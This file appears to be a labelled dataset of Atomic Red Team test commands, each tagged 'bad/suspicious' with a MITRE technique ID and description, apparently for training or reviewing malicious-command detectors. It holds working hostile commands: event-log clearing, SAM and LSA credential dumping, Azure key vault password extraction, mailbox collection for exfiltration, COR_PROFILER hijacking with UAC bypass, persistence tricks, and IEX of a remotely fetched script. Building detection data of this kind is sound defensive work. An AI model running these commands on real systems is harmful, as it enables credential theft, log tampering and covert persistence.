744ce367f67893046744bc81,"Remove-Item -Path ""HKCU:\Software\Microsoft\OneDrive\UpdateOfficeConfig"" -Force -ErrorAction Ignore Remove-Item -Path ""$env:LOCALAPPDATA\Microsoft\OneDrive\StandaloneUpdater\PreSignInSettingsConfig.json"" -Force -ErrorAction Ignore","Remove-Item -Path ""HKCU:\Software\Microsoft\OneDrive\UpdateOfficeConfig"" -Force -ErrorAction Ignore Remove-Item -Path ""$env:LOCALAPPDATA\Microsoft\OneDrive\StandaloneUpdater\PreSignInSettingsConfig.json"" -Force -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1105/T1105.yaml,Download a file with OneDrive Standalone Updater,T1105,"[""T1105""]",windows,0.55,True,"Uses OneDrive Standalone Updater to download a file from a specified URL by setting up the required registry keys.
This technique can be used to download files without executing anomalous executables.
Reference: https://lolbas-project.github.io/lolbas/Binaries/OneDriveStandaloneUpdater/
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
183c4f075519aba867a72f36,kubectl run #{pod_name} --image=#{image_name} --restart=Never --rm -it -- curl -ksL #{remote_url},kubectl run #{pod_name} --image=#{image_name} --restart=Never --rm -it -- curl -ksL #{remote_url},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1105/T1105.yaml,Curl Insecure Connection from a Pod,T1105,"[""T1105""]",containers,0.9,False,"Launches an Ubuntu pod, installs curl, and executes curl with insecure flags (-k/--insecure)
against a target URL. The pod is automatically deleted after execution.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a211305008cce3b9dc3921ac,"echo ""Creating %systemroot%\wpbbin.exe"" New-Item -ItemType File -Path ""$env:SystemRoot\System32\wpbbin.exe""","echo ""Creating %systemroot%\wpbbin.exe"" New-Item -ItemType File -Path ""$env:SystemRoot\System32\wpbbin.exe""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1542.001/T1542.001.yaml,UEFI Persistence via Wpbbin.exe File Creation,T1542.001,"[""T1542.001""]",windows,0.9,False,"Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms.
- https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c
- http://download.microsoft.com/download/8/a/2/8a2fb72d-9b96-4e2d-a559-4a27cf905a80/windows-platform-binary-table.docx
- https://github.com/tandasat/WPBT-Builder
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7fd4c78ac13a689ef5a391ce,"echo ""Removing %systemroot%\wpbbin.exe"" Remove-Item -Path ""$env:SystemRoot\System32\wpbbin.exe""","echo ""Removing %systemroot%\wpbbin.exe"" Remove-Item -Path ""$env:SystemRoot\System32\wpbbin.exe""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1542.001/T1542.001.yaml,UEFI Persistence via Wpbbin.exe File Creation,T1542.001,"[""T1542.001""]",windows,0.55,True,"Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms.
- https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c
- http://download.microsoft.com/download/8/a/2/8a2fb72d-9b96-4e2d-a559-4a27cf905a80/windows-platform-binary-table.docx
- https://github.com/tandasat/WPBT-Builder
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d3072cd2df8238d166e9bbbd,"mavinject $pid /INJECTRUNNING ""#{file_name}"" Invoke-WebRequest #{server_name} -UseBasicParsing","mavinject $pid /INJECTRUNNING ""#{file_name}"" Invoke-WebRequest #{server_name} -UseBasicParsing",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1056.004/T1056.004.yaml,Hook PowerShell TLS Encrypt/Decrypt Messages,T1056.004,"[""T1056.004""]",windows,0.9,False,"Hooks functions in PowerShell to read TLS Communications
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d0e147ce01e09bd172c7aead,wevtutil cl #{log_name},wevtutil cl #{log_name},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.001/T1070.001.yaml,Clear Logs,T1070.001,"[""T1070.001""]",windows,0.9,False,"Upon execution this test will clear Windows Event Logs. Open the System.evtx logs at C:\Windows\System32\winevt\Logs and verify that it is now empty.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d981b037486b562111e1cab1,$logs = Get-EventLog -List | ForEach-Object {$_.Log} $logs | ForEach-Object {Clear-EventLog -LogName $_ } Get-EventLog -list,$logs = Get-EventLog -List | ForEach-Object {$_.Log} $logs | ForEach-Object {Clear-EventLog -LogName $_ } Get-EventLog -list,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.001/T1070.001.yaml,Delete System Logs Using Clear-EventLog,T1070.001,"[""T1070.001""]",windows,0.9,False,"Clear event logs using built-in PowerShell commands.
Upon successful execution, you should see the list of deleted event logs
Upon execution, open the Security.evtx logs at C:\Windows\System32\winevt\Logs and verify that it is now empty or has very few logs in it.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0850a7c6c776269cbd708154,"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr ""https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1"" -UseBasicParsing) Invoke-Maldoc -macroFile ""PathToAtomicsFolder\T1070.001\src\T1070.001-macrocode.txt"" -officeProduct ""Word"" -sub ""ClearLogs""","[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (iwr ""https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1"" -UseBasicParsing) Invoke-Maldoc -macroFile ""PathToAtomicsFolder\T1070.001\src\T1070.001-macrocode.txt"" -officeProduct ""Word"" -sub ""ClearLogs""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1070.001/T1070.001.yaml,Clear Event Logs via VBA,T1070.001,"[""T1070.001""]",windows,0.9,False,"This module utilizes WMI via VBA to clear the Security and Backup eventlogs from the system. 

Elevation is required for this module to execute properly, otherwise WINWORD will throw an ""Access Denied"" error
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
959e41ff8b77b8366fcda85c,"Remove-Item -Path ""HKCU:\Software\Classes\CLSID\#{clsid_guid}"" -Recurse -Force -ErrorAction Ignore Remove-ItemProperty -Path HKCU:\Environment -Name ""COR_ENABLE_PROFILING"" -Force -ErrorAction Ignore | Out-Null Remove-ItemProperty -Path HKCU:\Environment -Name ""COR_PROFILER"" -Force -ErrorAction Ignore | Out-Null Remove-ItemProperty -Path HKCU:\Environment -Name ""COR_PROFILER_PATH"" -Force -ErrorAction Ignore | Out-Null","Remove-Item -Path ""HKCU:\Software\Classes\CLSID\#{clsid_guid}"" -Recurse -Force -ErrorAction Ignore Remove-ItemProperty -Path HKCU:\Environment -Name ""COR_ENABLE_PROFILING"" -Force -ErrorAction Ignore | Out-Null Remove-ItemProperty -Path HKCU:\Environment -Name ""COR_PROFILER"" -Force -ErrorAction Ignore | Out-Null Remove-ItemProperty -Path HKCU:\Environment -Name ""COR_PROFILER_PATH"" -Force -ErrorAction Ignore | Out-Null",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1574.012/T1574.012.yaml,User scope COR_PROFILER,T1574.012,"[""T1574.012""]",windows,0.55,True,"Creates user scope environment variables and CLSID COM object to enable a .NET profiler (COR_PROFILER).
The unmanaged profiler DLL (`T1574.012x64.dll`) executes when the CLR is loaded by the Event Viewer process.
Additionally, the profiling DLL will inherit the integrity level of Event Viewer bypassing UAC and executing `notepad.exe` with high integrity.
If the account used is not a local administrator the profiler DLL will still execute each time the CLR is loaded by a process, however,
the not",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
cc8b641440196609b27dc3a7,"Write-Host ""Creating system environment variables"" -ForegroundColor Cyan New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name ""COR_ENABLE_PROFILING"" -PropertyType String -Value ""1"" -Force | Out-Null New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name ""COR_PROFILER"" -PropertyType String -Value ""#{clsid_guid}"" -Force | Out-Null New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name ""COR_PROFILER_PATH"" -PropertyType String -Value ""#{file_name}"" -Force | Out-Null","Write-Host ""Creating system environment variables"" -ForegroundColor Cyan New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name ""COR_ENABLE_PROFILING"" -PropertyType String -Value ""1"" -Force | Out-Null New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name ""COR_PROFILER"" -PropertyType String -Value ""#{clsid_guid}"" -Force | Out-Null New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name ""COR_PROFILER_PATH"" -PropertyType String -Value ""#{file_name}"" -Force | Out-Null",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1574.012/T1574.012.yaml,System Scope COR_PROFILER,T1574.012,"[""T1574.012""]",windows,0.9,False,"Creates system scope environment variables to enable a .NET profiler (COR_PROFILER). System scope environment variables require a restart to take effect.
The unmanaged profiler DLL (T1574.012x64.dll`) executes when the CLR is loaded by any process. Additionally, the profiling DLL will inherit the integrity
level of Event Viewer bypassing UAC and executing `notepad.exe` with high integrity. If the account used is not a local administrator the profiler DLL will
still execute each time the CLR is l",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5e4c60abd6196065305f384a,"Remove-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name ""COR_ENABLE_PROFILING"" -Force -ErrorAction Ignore | Out-Null Remove-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name ""COR_PROFILER"" -Force -ErrorAction Ignore | Out-Null Remove-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name ""COR_PROFILER_PATH"" -Force -ErrorAction Ignore | Out-Null","Remove-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name ""COR_ENABLE_PROFILING"" -Force -ErrorAction Ignore | Out-Null Remove-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name ""COR_PROFILER"" -Force -ErrorAction Ignore | Out-Null Remove-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name ""COR_PROFILER_PATH"" -Force -ErrorAction Ignore | Out-Null",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1574.012/T1574.012.yaml,System Scope COR_PROFILER,T1574.012,"[""T1574.012""]",windows,0.55,True,"Creates system scope environment variables to enable a .NET profiler (COR_PROFILER). System scope environment variables require a restart to take effect.
The unmanaged profiler DLL (T1574.012x64.dll`) executes when the CLR is loaded by any process. Additionally, the profiling DLL will inherit the integrity
level of Event Viewer bypassing UAC and executing `notepad.exe` with high integrity. If the account used is not a local administrator the profiler DLL will
still execute each time the CLR is l",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2d012ea7cc541efef95eb804,"$env:COR_ENABLE_PROFILING = 1 $env:COR_PROFILER = '#{clsid_guid}' $env:COR_PROFILER_PATH = '""#{file_name}""' POWERSHELL -c 'Start-Sleep 1'","$env:COR_ENABLE_PROFILING = 1 $env:COR_PROFILER = '#{clsid_guid}' $env:COR_PROFILER_PATH = '""#{file_name}""' POWERSHELL -c 'Start-Sleep 1'",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1574.012/T1574.012.yaml,Registry-free process scope COR_PROFILER,T1574.012,"[""T1574.012""]",windows,0.9,False,"Creates process scope environment variables to enable a .NET profiler (COR_PROFILER) without making changes to the registry. The unmanaged profiler DLL (`T1574.012x64.dll`) executes when the CLR is loaded by PowerShell.

Reference: https://redcanary.com/blog/cor_profiler-for-persistence/
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
af15f288464e99f5c202453b,$env:COR_ENABLE_PROFILING = 0 $env:COR_PROFILER = '' $env:COR_PROFILER_PATH = '',$env:COR_ENABLE_PROFILING = 0 $env:COR_PROFILER = '' $env:COR_PROFILER_PATH = '',bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1574.012/T1574.012.yaml,Registry-free process scope COR_PROFILER,T1574.012,"[""T1574.012""]",windows,0.55,True,"Creates process scope environment variables to enable a .NET profiler (COR_PROFILER) without making changes to the registry. The unmanaged profiler DLL (`T1574.012x64.dll`) executes when the CLR is loaded by PowerShell.

Reference: https://redcanary.com/blog/cor_profiler-for-persistence/
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3ec4e0107c7c5c775bb78f2c,"Import-Module ""PathToAtomicsFolder/T1595.003/src/WebServerScan.ps1"" Invoke-WordlistScan -Target ""#{target}"" -Wordlist ""#{wordlist}"" -Timeout ""#{request_timeout}"" -OutputFile ""#{output_file}"" Write-Host ""Scan complete. Results saved to: #{output_file}""","Import-Module ""PathToAtomicsFolder/T1595.003/src/WebServerScan.ps1"" Invoke-WordlistScan -Target ""#{target}"" -Wordlist ""#{wordlist}"" -Timeout ""#{request_timeout}"" -OutputFile ""#{output_file}"" Write-Host ""Scan complete. Results saved to: #{output_file}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1595.003/T1595.003.yaml,Web Server Wordlist Scan,T1595.003,"[""T1595.003""]","windows,linux,macos",0.9,False,"This test will scan a target system with a wordlist of common directories and file paths.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
515c45da687d0a87b482a1e9,"import-module ""PathToAtomicsFolder\..\ExternalPayloads\Get-AzurePasswords.ps1"" $Password = ConvertTo-SecureString -String ""#{password}"" -AsPlainText -Force $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList ""#{username}"", $Password Connect-AzureRmAccount -Credential $Credential Get-AzurePasswords -subscription '#{subscription_id}' > #{output_file} cat #{output_file}","import-module ""PathToAtomicsFolder\..\ExternalPayloads\Get-AzurePasswords.ps1"" $Password = ConvertTo-SecureString -String ""#{password}"" -AsPlainText -Force $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList ""#{username}"", $Password Connect-AzureRmAccount -Credential $Credential Get-AzurePasswords -subscription '#{subscription_id}' > #{output_file} cat #{output_file}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1555.006/T1555.006.yaml,Azure - Dump All Azure Key Vaults with Microburst,T1555.006,"[""T1555.006""]",iaas:azure,0.9,False,"Upon successful execution of this test, the names, locations, and contents of key vaults within an Azure account will be output to a file.
See - https://www.netspi.com/blog/technical/cloud-penetration-testing/a-beginners-guide-to-gathering-azure-passwords/",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d7a5b7529dfef937b5d266bf,remove-item #{output_file} -force -erroraction silentlycontinue,remove-item #{output_file} -force -erroraction silentlycontinue,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1555.006/T1555.006.yaml,Azure - Dump All Azure Key Vaults with Microburst,T1555.006,"[""T1555.006""]",iaas:azure,0.55,True,"Upon successful execution of this test, the names, locations, and contents of key vaults within an Azure account will be output to a file.
See - https://www.netspi.com/blog/technical/cloud-penetration-testing/a-beginners-guide-to-gathering-azure-passwords/",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
1ae1f68d0f087d221f3bd7f4,export #{proxy_scheme}_proxy=#{proxy_server}:#{proxy_port} curl #{test_url},export #{proxy_scheme}_proxy=#{proxy_server}:#{proxy_port} curl #{test_url},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1090.001/T1090.001.yaml,Connection Proxy,T1090.001,"[""T1090.001""]","linux,macos",0.9,False,"Enable traffic redirection.

Note that this test may conflict with pre-existing system configuration.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
61f83df3c26140e12c2e7efe,"unset #{proxy_scheme}_proxy [ ""#{run_squid}"" == ""true"" ] && (kill -9 $(ps aux | grep ""squid -N"" | grep -v ""grep"" | awk '{print $2}'))","unset #{proxy_scheme}_proxy [ ""#{run_squid}"" == ""true"" ] && (kill -9 $(ps aux | grep ""squid -N"" | grep -v ""grep"" | awk '{print $2}'))",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1090.001/T1090.001.yaml,Connection Proxy,T1090.001,"[""T1090.001""]","linux,macos",0.55,True,"Enable traffic redirection.

Note that this test may conflict with pre-existing system configuration.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b7dc83d85a0aace86bfb260b,networksetup -setwebproxy #{interface} #{proxy_server} #{proxy_port} networksetup -setsecurewebproxy #{interface} #{proxy_server} #{proxy_port},networksetup -setwebproxy #{interface} #{proxy_server} #{proxy_port} networksetup -setsecurewebproxy #{interface} #{proxy_server} #{proxy_port},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1090.001/T1090.001.yaml,Connection Proxy for macOS UI,T1090.001,"[""T1090.001""]",macos,0.9,False,"Enable traffic redirection on macOS UI (not terminal).
The test will modify and enable the ""Web Proxy"" and ""Secure Web Proxy"" settings  in System Preferences => Network => Advanced => Proxies for the specified network interface.

Note that this test may conflict with pre-existing system configuration.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8546d1d22c4d71df11be3f22,networksetup -setwebproxystate #{interface} off networksetup -setsecurewebproxystate #{interface} off,networksetup -setwebproxystate #{interface} off networksetup -setsecurewebproxystate #{interface} off,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1090.001/T1090.001.yaml,Connection Proxy for macOS UI,T1090.001,"[""T1090.001""]",macos,0.55,True,"Enable traffic redirection on macOS UI (not terminal).
The test will modify and enable the ""Web Proxy"" and ""Secure Web Proxy"" settings  in System Preferences => Network => Advanced => Proxies for the specified network interface.

Note that this test may conflict with pre-existing system configuration.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e50a7baead169181076c6246,netsh interface portproxy add v4tov4 listenport=#{listenport} connectport=#{connectport} connectaddress=#{connectaddress},netsh interface portproxy add v4tov4 listenport=#{listenport} connectport=#{connectport} connectaddress=#{connectaddress},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1090.001/T1090.001.yaml,portproxy reg key,T1090.001,"[""T1090.001""]",windows,0.9,False,"Adds a registry key to set up a proxy on the endpoint at HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4
Upon execution there will be a new proxy entry in netsh
netsh interface portproxy show all
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ade784388f249878f18d5422,netsh interface portproxy delete v4tov4 listenport=#{listenport} -ErrorAction Ignore | Out-Null,netsh interface portproxy delete v4tov4 listenport=#{listenport} -ErrorAction Ignore | Out-Null,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1090.001/T1090.001.yaml,portproxy reg key,T1090.001,"[""T1090.001""]",windows,0.55,True,"Adds a registry key to set up a proxy on the endpoint at HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4
Upon execution there will be a new proxy entry in netsh
netsh interface portproxy show all
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4c99b8594c7115d7da49b084,"mv #{settings_json_def} #{settings_json_tmp} Invoke-WebRequest ""https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1547.015/src/settings.json?raw=true"" -OutFile ""#{settings_json_def}"" wt.exe","mv #{settings_json_def} #{settings_json_tmp} Invoke-WebRequest ""https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1547.015/src/settings.json?raw=true"" -OutFile ""#{settings_json_def}"" wt.exe",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.015/T1547.015.yaml,Persistence by modifying Windows Terminal profile,T1547.015,"[""T1547.015""]",windows,0.9,False,Modify Windows Terminal settings.json file to gain persistence. [Twitter Post](https://twitter.com/nas_bench/status/1550836225652686848),primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7b2960c687de6d2d7f4b36a8,"mv -Force #{settings_json_tmp} #{settings_json_def} taskkill /F /IM ""#{calculator}"" > $null","mv -Force #{settings_json_tmp} #{settings_json_def} taskkill /F /IM ""#{calculator}"" > $null",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.015/T1547.015.yaml,Persistence by modifying Windows Terminal profile,T1547.015,"[""T1547.015""]",windows,0.55,True,Modify Windows Terminal settings.json file to gain persistence. [Twitter Post](https://twitter.com/nas_bench/status/1550836225652686848),unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
dabab02ad16de920793764aa,osascript #{scriptfile},osascript #{scriptfile},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.015/T1547.015.yaml,Add macOS LoginItem using Applescript,T1547.015,"[""T1547.015""]",macos,0.9,False,"Runs osascript on a file to create new LoginItem for current user.
NOTE: Will popup dialog prompting user to Allow or Deny Terminal.app to control ""System Events""
Therefore, it can't be automated until the TCC is granted.
The login item launches Safari.app when user logs in, but there is a cleanup script to remove it as well.
In addition to the `osascript` Process Events, file modification events to
`/Users/*/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
06636e81864952adc200bc6a,osascript #{cleanup_script},osascript #{cleanup_script},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.015/T1547.015.yaml,Add macOS LoginItem using Applescript,T1547.015,"[""T1547.015""]",macos,0.55,True,"Runs osascript on a file to create new LoginItem for current user.
NOTE: Will popup dialog prompting user to Allow or Deny Terminal.app to control ""System Events""
Therefore, it can't be automated until the TCC is granted.
The login item launches Safari.app when user logs in, but there is a cleanup script to remove it as well.
In addition to the `osascript` Process Events, file modification events to
`/Users/*/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
29b7f92951b1391540d11469,"powershell -executionpolicy bypass -command ""#{file_path}\Get-Inbox.ps1"" -file #{output_file}","powershell -executionpolicy bypass -command ""#{file_path}\Get-Inbox.ps1"" -file #{output_file}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1114.001/T1114.001.yaml,Email Collection with PowerShell Get-Inbox,T1114.001,"[""T1114.001""]",windows,0.9,False,"Search through local Outlook installation, extract mail, compress the contents, and saves everything to a directory for later exfiltration.
Successful execution will produce stdout message stating ""Please be patient, this may take some time..."". Upon completion, final output will be a mail.csv file.

Note: Outlook is required, but no email account necessary to produce artifacts.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
339861d3e400a4f77bf71f76,Remove-Item #{output_file} -Force -ErrorAction Ignore,Remove-Item #{output_file} -Force -ErrorAction Ignore,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1114.001/T1114.001.yaml,Email Collection with PowerShell Get-Inbox,T1114.001,"[""T1114.001""]",windows,0.55,True,"Search through local Outlook installation, extract mail, compress the contents, and saves everything to a directory for later exfiltration.
Successful execution will produce stdout message stating ""Please be patient, this may take some time..."". Upon completion, final output will be a mail.csv file.

Note: Outlook is required, but no email account necessary to produce artifacts.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
16c7349b029eb5714b752cbe,assoc #{extension_to_change}=#{target_extension_handler},assoc #{extension_to_change}=#{target_extension_handler},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.001/T1546.001.yaml,Change Default File Association,T1546.001,"[""T1546.001""]",windows,0.9,False,"Change Default File Association From cmd.exe of hta to notepad.

Upon successful execution, cmd.exe will change the file association of .hta to notepad.exe. 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5ada85aaad5feb54142f8f95,assoc #{extension_to_change}=#{original_extension_handler},assoc #{extension_to_change}=#{original_extension_handler},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.001/T1546.001.yaml,Change Default File Association,T1546.001,"[""T1546.001""]",windows,0.55,True,"Change Default File Association From cmd.exe of hta to notepad.

Upon successful execution, cmd.exe will change the file association of .hta to notepad.exe. 
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
961f64c4c5bd16c04d873f64,reg save HKLM\sam %temp%\sam reg save HKLM\system %temp%\system reg save HKLM\security %temp%\security,reg save HKLM\sam %temp%\sam reg save HKLM\system %temp%\system reg save HKLM\security %temp%\security,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.002/T1003.002.yaml,"Registry dump of SAM, creds, and secrets",T1003.002,"[""T1003.002""]",windows,0.9,False,"Local SAM (SAM & System), cached credentials (System & Security) and LSA secrets (System & Security) can be enumerated
via three registry keys. Then processed locally using https://github.com/Neohapsis/creddump7

Upon successful execution of this test, you will find three files named, sam, system and security in the %temp% directory.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2fb06bef5539a59c7765d3ea,del %temp%\sam >nul 2> nul del %temp%\system >nul 2> nul del %temp%\security >nul 2> nul,del %temp%\sam >nul 2> nul del %temp%\system >nul 2> nul del %temp%\security >nul 2> nul,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.002/T1003.002.yaml,"Registry dump of SAM, creds, and secrets",T1003.002,"[""T1003.002""]",windows,0.55,True,"Local SAM (SAM & System), cached credentials (System & Security) and LSA secrets (System & Security) can be enumerated
via three registry keys. Then processed locally using https://github.com/Neohapsis/creddump7

Upon successful execution of this test, you will find three files named, sam, system and security in the %temp% directory.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8a9afa038cb014f132a17ae1,"""#{venv_path}\Scripts\pypykatz"" live lsa","""#{venv_path}\Scripts\pypykatz"" live lsa",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.002/T1003.002.yaml,Registry parse with pypykatz,T1003.002,"[""T1003.002""]",windows,0.9,False,"Parses registry hives to obtain stored credentials.

Will create a Python virtual environment within the External Payloads folder that can be deleted manually post test execution.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a8642050970abc47e396a731,esentutl.exe /y /vss #{file_path} /d #{copy_dest}/#{file_name},esentutl.exe /y /vss #{file_path} /d #{copy_dest}/#{file_name},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.002/T1003.002.yaml,esentutl.exe SAM copy,T1003.002,"[""T1003.002""]",windows,0.9,False,"Copy the SAM hive using the esentutl.exe utility
This can also be used to copy other files and hives like SYSTEM, NTUSER.dat etc.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6b2c95493dc51afac0f481cf,del #{copy_dest}\#{file_name} >nul 2>&1,del #{copy_dest}\#{file_name} >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.002/T1003.002.yaml,esentutl.exe SAM copy,T1003.002,"[""T1003.002""]",windows,0.55,True,"Copy the SAM hive using the esentutl.exe utility
This can also be used to copy other files and hives like SYSTEM, NTUSER.dat etc.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7433108cb79b976ae7f5cd45,"Write-Host ""STARTING TO SET BYPASS and DISABLE DEFENDER REALTIME MON"" -fore green Import-Module ""PathToAtomicsFolder\..\ExternalPayloads\PowerDump.ps1"" Invoke-PowerDump","Write-Host ""STARTING TO SET BYPASS and DISABLE DEFENDER REALTIME MON"" -fore green Import-Module ""PathToAtomicsFolder\..\ExternalPayloads\PowerDump.ps1"" Invoke-PowerDump",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1003.002/T1003.002.yaml,PowerDump Hashes and Usernames from Registry,T1003.002,"[""T1003.002""]",windows,0.9,False,Executes a hashdump by reading the hashes from the registry.,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
